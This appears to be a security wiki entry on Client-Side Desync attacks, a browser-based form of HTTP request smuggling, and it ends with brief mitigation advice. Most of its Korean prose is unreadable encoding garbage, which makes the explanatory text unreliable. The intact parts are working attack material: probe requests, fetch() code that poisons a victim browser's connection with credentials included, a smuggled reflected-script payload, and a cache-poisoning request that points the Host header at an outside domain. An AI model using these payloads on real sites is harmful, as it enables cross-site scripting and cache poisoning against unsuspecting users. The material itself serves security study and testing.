Client-Side Desync Attack

CSD Attack

๐Ÿ” Introduction

Client-Side Desync(CSD) Attack์€ HTTP Request Smuggling(HRS, Desync Attack)์˜ ํ•œ ์ข…๋ฅ˜๋กœ ๊ธฐ์กด์˜ HRS๊ฐ€ Browser๊ฐ€ ์ „์†กํ•  ์ˆ˜ ์—†๋Š” ํ˜•ํƒœ์˜ HTTP Request๋ฅผ ์ž„์˜๋กœ ์ „์†กํ•˜์—ฌ ์„œ๋ฒ„ ๋˜๋Š” ๊ด‘๋ฒ”์œ„ํ•œ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์ƒ์œผ๋กœ ์˜ํ–ฅ์„ ๋ผ์ณค๋‹ค๋ฉด CSD๋Š” Browser๋ฅผ ํ†ตํ•ด ์ „์†กํ•  ์ˆ˜ ์žˆ๋Š” ํ˜•ํƒœ์˜ Smuggling์œผ๋กœ Self-smuggling(๋ณดํ†ต HTTP Pipelining์ด๋ผ๊ณ  ์ด์•ผ๊ธฐํ•˜์ฃ ) ๋“ฑ์˜ ์ผ€์ด์Šค์—์„œ ์˜ํ–ฅ๋ ฅ์„ ๋งŒ๋“ค์–ด๋‚ผ ์ˆ˜ ์žˆ๋Š” ๊ธฐ์ˆ ์ž…๋‹ˆ๋‹ค.

์ด๋ฅผ ํ†ตํ•ด์„œ ํ”ผํ•ด์ž์˜ ์›น ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ทจ์•ฝ ์›น ์‚ฌ์ดํŠธ๋ฅผ ๋ฐฉ๋ฌธํ•  ๋•Œ ๋ฐœ์ƒํ•˜๋Š” Connectrion์„ ๋น„๋™๊ธฐํ™” ์‹œํ‚ค๊ณ  TCP/TLS ์†Œ์ผ„์— ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋ฐ์ดํ„ฐ(malicious prefix)๋ฅผ ๋‚จ๊ฒจ์„œ ๋‹ค์Œ Connection์—์„œ ํŠธ๋ฆฌ๊ฑฐ ์‹œํ‚ค๋Š” ํ˜•ํƒœ๋กœ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

์‹ค์ œ ๊ณต๊ฒฉ์€ ํฌ๊ฒŒ ์•„๋ž˜ ํ”Œ๋กœ์šฐ๋กœ ์ด๋ฃจ์–ด์ง‘๋‹ˆ๋‹ค.

  1. ํ”ผํ•ด์ž๊ฐ€ ๊ณต๊ฒฉ์ฝ”๋“œ๊ฐ€ ์‚ฝ์ž…๋œ ํŽ˜์ด์ง€ ์ ‘๊ทผ (์•…์„ฑ ์‚ฌ์ดํŠธ ๋˜๋Š” XSS๊ฐ€ ์‚ฝ์ž…๋œ ์„œ๋น„์Šค ํŽ˜์ด์ง€)
  2. ํ”ผํ•ด์ž์˜ ๋ธŒ๋ผ์šฐ์ €๋Š” ์ทจ์•ฝ ์„œ๋ฒ„๋กœ ์›น ์š”์ฒญ์„ ์ „์†กํ•จ. ์ด ๋•Œ Body์—๋Š” Smuggling ์š”์ฒญ์ด ํฌํ•จ๋จ
  3. ์„œ๋ฒ„๊ฐ€ Response๋ฅผ ์ฃผ๊ณ  ๋‚จ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋ถ€๋ถ„์ด TCP/TLS ์†Œ์ผ“์— ๋‚จ์€ ์ƒํƒœ๋กœ ์—ฐ๊ฒฐ ์ข…๋ฃŒ
  4. ๋‹ค์Œ ์š”์ฒญ์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋ถ€๋ถ„์ด Prefix๋กœ ๋ถ™์–ด ์•…์˜์ ์ธ ์›น ์š”์ฒญ์ด ์ฒ˜๋ฆฌ๋จ

์ฐธ๊ณ ๋กœ ํ•ด๋‹น ๊ธฐ์ˆ ์€ ๊ธฐ๋ณธ์ ์œผ๋กœ HTTP Request Smuggling(HRS)์— ๋Œ€ํ•œ ์›๋ฆฌ์™€ ์‘์šฉ์— ๋Œ€ํ•œ ์ดํ•ด๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. HRS๊ฐ€ ๊ถ๊ธˆํ•˜๋‹ค๋ฉด Cullinan > HTTP Request Smuggling (HRS) ๋ฌธ์„œ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

๐Ÿ—ก Offensive techniques

Detect

Probe

CSD๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด์„  ๊ฐ€์žฅ ๋จผ์ € Content-Length ํ—ค๋”๋ฅผ ๋ฌด์‹œํ•˜๋Š” ๊ตฌ๊ฐ„์„ ์ฐพ์•„์•ผํ•ฉ๋‹ˆ๋‹ค. ์ด ๋–„ ์‰ฌ์šด ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” CL:TE Smuggling๊ณผ ๋น„์Šทํ•˜๊ฒŒ ํ—ค๋”๋กœ ๋ช…์‹œํ•œ ์‹ค์ œ Body ํฌ๊ธฐ๋ณด๋‹ค ๋” ํฐ Content-Length๋ฅผ ํ—ค๋”๋กœ ์ „์†กํ•˜์—ฌ ์„œ๋ฒ„๊ฐ€ ๊ธฐ๋‹ค๋ฆฌ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ๋ณดํ†ต Content-Length๊ฐ€ Body๋ณด๋‹ค ํฐ ๊ฒฝ์šฐ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋Š” ์ถ”๊ฐ€๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ›๊ธฐ ์œ„ํ•ด ๋Œ€๊ธฐํ•˜๊ฒŒ ๋˜๊ณ  ๋”œ๋ ˆ์ด๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

POST /api/me HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 999

aaaa

๋‹ค๋งŒ ๋•Œ๋•Œ๋กœ ์–ด๋–ค ์„œ๋ฒ„๋“ค์€ ๋Œ€๊ธฐํ•˜์ง€ ์•Š๊ณ  ์ฆ‰์‹œ ์‘๋‹ตํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ ์„œ๋ฒ„๊ฐ€ CL ํ—ค๋”๋ฅผ ์‹ ๋ขฐํ•˜์ง€ ์•Š๋Š” ์ƒํƒœ๋กœ CSD๊ฐ€ ๋ฐœ์ƒํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. ๋ณดํ†ต ์•„๋ž˜ Endpoint ๋“ค์—์„œ ์ž์ฃผ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

  • POST๋ฅผ ๊ธฐ๋Œ€ํ•˜์ง€ ์•Š๋Š” API Endpoint
  • Static Files
  • Error Page

Connection check

์ด์ œ Connection์ด ์œ ์ง€๋˜๋Š”์ง€ ํ™•์ธ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. Smuggling์˜ ๊ธฐ๋ณธ์ ์ธ ๋™์ž‘์€ Connection ํ•˜๋‚˜์— 2๊ฐœ ์ด์ƒ์˜ HTTP Request๋ฅผ ํฌํ•จํ•˜๊ณ , ์ด๋ฅผ ์„œ๋ฒ„๊ฐ€ ์ฒ˜๋ฆฌํ•˜๋Š” ๊ณผ์ •์—์„œ 2๊ฐœ๋กœ ๋ถ„๋ฆฌ์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์ธ๋ฐ, ์ด๋Š” CSD Attack์—์„œ๋„ ๋™์ผํ•˜๊ฒŒ ์ž‘์šฉํ•ฉ๋‹ˆ๋‹ค.

์ฒดํฌ๋ฅผ ์œ„ํ•œ ์ข‹์€ ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜๋Š” CL.0๋‚˜ H2.0๊ณผ ๊ฐ™์ด ์ •์ƒ์ ์ธ ํ—ค๋”๋งŒ์„ ์‚ฌ์šฉํ•˜๋Š” Smuggling์„ ์œ ๋„ํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. CL.0๋‚˜ H2.0๋กœ ํ•˜๋‚˜์˜ Connection์œผ๋กœ ์ „์†กํ•œ ์š”์ฒญ์ด ๋‚˜๋‰˜์–ด ์ฒ˜๋ฆฌ๋œ๋‹ค๋ฉด Smugggling์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

CL.0 Smuggling

CL.0๋Š” ๊ธฐ์กด Smuggling๊ณผ ๋™์ผํ•˜๊ฒŒ ๋จผ์ € Smuggle ์š”์ฒญ์„ ์ „์†กํ•œ ํ›„ ์ „์†ก ์š”์ฒญ์„ ์ถ”๊ฐ€ ์ „์†กํ•˜์—ฌ ์„œ๋ฒ„์˜ ๋ฐ˜์‘์„ ์‚ดํŽด์„œ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Body์— 404๋ฅผ ์œ ๋„ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ๋„ฃ๊ณ  POST ์š”์ฒญ์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

POST /api/me HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

GET /hopefully404 HTTP/1.1
Foo: x

HTTP/1.1 200 OK

์ด ๋•Œ ๊ธฐ์กด HRS๋ผ๋ฉด Content-Length๋‚˜ Transfer-Encoding ๋“ฑ์„ ์ด์šฉํ•ด ์š”์ฒญ์„ ์ž˜๋ž๊ฒ ์ง€๋งŒ, CSD ์ผ€์ด์Šค์—์„  ์ •์ƒ Content-Length๋กœ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„ ํ›„์†์š”์ฒญ์„ ์ „์†กํ–ˆ์„ ๋•Œ 404๊ฐ€ ์œ ๋„๋˜์—ˆ๋‹ค๋ฉด Smuggling ์ฆ‰ CSD์— ์ทจ์•ฝํ•œ ์ƒํƒœ๋กœ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GET / HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 404 Not Found

๋ณดํ†ต์€ POST๋ฅผ ์ง€์›ํ•˜์ง€ ์•Š๋Š” ํŽ˜์ด์ง€์—์„œ ์œ„์™€ ๊ฐ™์ด ํ˜ธ์ถœํ•˜๋Š” ๊ฒฝ์šฐ ๋ฐœ์ƒํ•  ํ™•๋ฅ ์ด ๋†’์Šต๋‹ˆ๋‹ค.

Cullinan > HTTP Request Smuggling(HRS) > CL.0

H2.0 Smuggling

H2.0๋Š” ๋˜ํ•œ ์ •์ƒ์ ์ธ HTTP Request๋กœ ์ „์†กํ•˜์—ฌ Smuggling์„ ์œ ๋„ํ•ฉ๋‹ˆ๋‹ค.

POST /api/me HTTP/2
Host: vulnerable-website.com
Content-Length: 34

GET /hopefully404 HTTP/1.1
Foo: x

Scanning

๋ณดํ†ต์˜ ๊ฒฝ์šฐ ์ง์ ‘ CSD๋ฅผ ์œ„ํ•ด ์ฐพ๋Š”๋‹ค๊ธฐ ๋ณด๋‹จ HRS๋ฅผ ์ฐพ๋Š” ๊ณผ์ •์—์„œ CL.0, H2.0 ์ด์Šˆ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋ฉด ๊ฐ™์ด ํ…Œ์ŠคํŠธํ•ด๋ณด๋Š” ํ˜•ํƒœ๋กœ ์ž‘์—…์„ ์ง„ํ–‰ํ•˜๋Š” ๊ฒƒ์ด ์ˆ˜์›”ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ Smuggling ์‹๋ณ„์„ ์œ„ํ•œ ์Šค์บ๋‹ ์ž‘์—…์—์„œ ํžŒํŠธ๋ฅผ ์–ป๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.

๋‹ค๋งŒ ์•„์‰ฝ๊ฒŒ๋„ ๊ธฐ์กด์— ์ž˜ ์•Œ๋ ค์ง„ CLI ๊ธฐ๋ฐ˜ ๋„๊ตฌ๋“ค์€ CL.0, H2.0๋ฅผ ๋ชจ๋‘ ์ง€์›ํ•˜์ง€ ๋ชปํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. BurpSuite์˜ HTTP Request Smuggler๊ฐ€ ์Šค์บ” ์„ฑ๋Šฅ์œผ๋กœ๋Š” ๊ฐ€์žฅ ์ข‹๋‹ค๊ณ  ํŒ๋‹จ๋ฉ๋‹ˆ๋‹ค.

Exploitation

๋งŒ์•ฝ CSD Attack์˜ ํฌ์ธํŠธ๋ฅผ ์ฐพ์•˜๋‹ค๋ฉด ์ด์ œ ๋ธŒ๋ผ์šฐ์ €์—์„œ CSD ์ฝ”๋“œ๊ฐ€ ๋™์ž‘ํ•  ์ˆ˜ ์žˆ๋„๋ก ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ์กด HRS๊ฐ€ ๋น„์ •์ƒ ํ—ค๋”๋ฅผ ์ด์šฉํ•œ ๋ฐฉ๋ฒ•์ด์˜€๋‹ค๋ฉด CSD๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋™์ž‘ํ•˜๋Š” ๊ฒƒ์„ ์ „์ œํ•˜๊ธฐ ๋•Œ๋ฌธ์— fetchํ•˜๋Š” ์ฝ”๋“œ๋กœ ๋™์ž‘ ์‹œ์ผœ์•ผํ•ฉ๋‹ˆ๋‹ค.

fetch('https://vulnerable-website.com/api/me', {
    method: 'POST',
    body: "GET /hopefully404 HTTP/1.1\r\nFoo: x", 
    mode: 'no-cors', // ensure connection ID is visible
    credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
    location = 'https://vulnerable-website.com/' // use the poisoned connection
})

์ด ๋•Œ mode๋ฅผ no-cors๋กœ ์ฃผ๋Š”๋ฐ, ์ด๋Š” ํฌ๋กฌ์—์„œ ๋‹จ์ผ connection ID๋กœ ํ‘œ์‹œํ•˜๊ธฐ ์œ„ํ•œ ํŠธ๋ฆญ์œผ๋กœ ๋””๋ฒ„๊น…์„ ์‰ฝ๊ฒŒ ํ•ด์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ตณ์ด ํ•„์š”ํ•˜์ง€ ์•Š์€ ๋ถ€๋ถ„์ด๋‹ˆ ์ œ์™ธํ•˜์…”๋„ ๋ฉ๋‹ˆ๋‹ค.

XSS

ํ•˜๋‚˜์˜ Request๋กœ 2๊ฐœ์˜ Response๋ฅผ ๋ฐ›์„ ์ˆ˜ ์žˆ๊ธฐ ๋–„๋ฌธ์— Content-Type์ด text/html์ธ ํŽ˜์ด์ง€๋ฅผ ํ˜ธ์ถœํ•˜๊ณ , ๋‘๋ฒˆ์งธ ์š”์ฒญ์—์„œ JSON XSS(XSS Weakness ์ฐธ๊ณ ) ๊ฐ™์ด ์˜ํ–ฅ์—†๋Š” Reflected์˜ Type์„ ๋ฐ”๊ฟ”์ฃผ๋Š” ํ˜•ํƒœ๋กœ ๋ฆฌ์Šคํฌ์—…์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

fetch('https://vulnerable-website.com/api/me', {
    method: 'POST',
    body: `HEAD /404/?cb=123 HTTP/1.1\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
    credentials: 'include',
    mode: 'cors'
}).catch(() => {
    location = 'https://vulnerable-website.com/'
})
POST /api/me HTTP/1.1
Host: vulnerable-website.com
Content-Length: 72

HEAD /404/?cb=123 HTTP/1.1

GET /x?<script>evil() HTTP/1.1
X: YGET / HTTP/1.1
Host: vulnerable-website.com

Cache Poisoning

CSD๋ฅผ ์ด์šฉํ•˜๋ฉด ๊ณต๊ฒฉ์ž ๋ณธ์ธ์—๊ฒŒ๋งŒ ์˜ํ–ฅ์„ ๋ฏธ์น˜๋Š” Cache Poisoning์„ ํƒ€์ธ์„ ๊ณต๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” Cache Poisoning์œผ๋กœ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ง ๊ทธ๋Œ€๋กœ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์บ์‹ฑํ•˜๊ธฐ ๋–„๋ฌธ์— ํฌ์ธํŠธ๋งŒ ๋œ๋‹ค๋ฉด ์‰ฝ๊ฒŒ ์•…์˜์ ์ธ Response๋ฅผ ์บ์‹œ์‹œํ‚ค๊ณ , ๊ณต๊ฒฉ์— ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

fetch('https://redacted/', {method: 'POST', body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y", credentials: 'include'}).catch(() => { location='https://redacted/+CSCOE+/win.js' })

Etc

Smuggling๊ณผ ๋งˆ์ฐฌ๊ฐ€์ง€๊ณ  ์„œ๋น„์Šค์˜ ๊ตฌ์„ฑ, ๋™์ž‘์— ๋”ฐ๋ผ์„œ ์•…์šฉํ•  ๋ฐฉ๋ฒ•์€ ๊ต‰์žฅํžˆ ๋งŽ์Šต๋‹ˆ๋‹ค.

๐Ÿ›ก Defensive techniques

CSD Attack์€ HTTP Request Smugglin๊ณผ ๋‹ค๋ฅด๊ฒŒ ์ •์ƒ ํ—ค๋”๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๊ธฐ์กด์— WAS๋‚˜ ๋„คํŠธ์›Œํฌ ์žฅ๋น„๋‹จ์—์„œ ์ฐจ๋‹จํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๊ณ , ์„œ๋น„์Šค๋‹จ ๋กœ์ง์—์„œ ์ง์ ‘ ๋Œ€์‘์ด ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•  ๋•Œ ์„œ๋ฒ„๋‹จ์—์„œ์˜ ์˜ˆ์™ธ(e.g GET๋งŒ ์‚ฌ์šฉํ•˜๋Š” API์— Body๊ฐ€ ์ „๋‹ฌ๋˜์—ˆ๋‹ค ๋“ฑ)๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด Connection์„ Close ํ•ด์ฃผ๋Š”๊ฒŒ ์ข‹์Šต๋‹ˆ๋‹ค.

์‚ฌ์‹ค ๋Œ€์‘๋ฐฉ์•ˆ์ด ์ข‹์€ API ์ž‘์„ฑ๊ณผ๋Š” ์™„์ „ ๋ฐ˜๋Œ€์˜ ๋‚ด์šฉ์ด๋ผ ์‹ค์ œ ์ผ€์ด์Šค์—์„œ ๋Œ€์‘ํ•˜๊ธฐ๋Š” ๊ต‰์žฅํžˆ ๊นŒ๋‹ค๋กญ์Šต๋‹ˆ๋‹ค. ๋‹จ์ˆœํžˆ ์ฝ”๋“œ๋‹จ์—์„œ๋งŒ ๋Œ€์‘ํ•˜๋Š”๊ฒŒ ์•„๋‹ˆ๋ผ ์•ž๋‹จ์˜ ์„œ๋ฒ„ ๋“ฑ์—์„œ๋„ ์ถฉ๋ถ„ํžˆ ๋Œ€์‘ํ•  ๋ฐฉ๋ฒ•์€ ๊ณ ์•ˆํ•  ์ˆ˜ ์žˆ์œผ๋‹ˆ ์„œ๋น„์Šค ํ™˜๊ฒฝ์— ๋งž๊ฒŒ ๊ณ ๋ฏผํ•˜๊ณ  ๋Œ€์‘ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์ด๋ผ๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ“Œ References